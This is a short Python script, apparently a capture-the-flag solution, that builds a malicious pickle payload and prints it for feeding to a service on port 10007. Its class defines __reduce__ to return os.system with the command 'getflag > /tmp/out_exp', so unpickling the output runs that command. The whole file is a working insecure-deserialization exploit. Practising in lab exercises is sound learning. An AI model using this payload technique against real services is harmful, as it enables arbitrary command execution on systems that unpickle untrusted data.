# http://docs.python.org/library/pickle.html#object.__reduce__
# Create an object that, when unpickled, will run a command
# Print it's pickled representation and feed it to the script running on 10007

import pickle
import os
 
class Exploit(object):
  def __reduce__(self):
    return (os.system,
            (('getflag > /tmp/out_exp'),))
			
dmp = pickle.dumps(Exploit())
print dmp

# verification
#pickle.loads(dmp)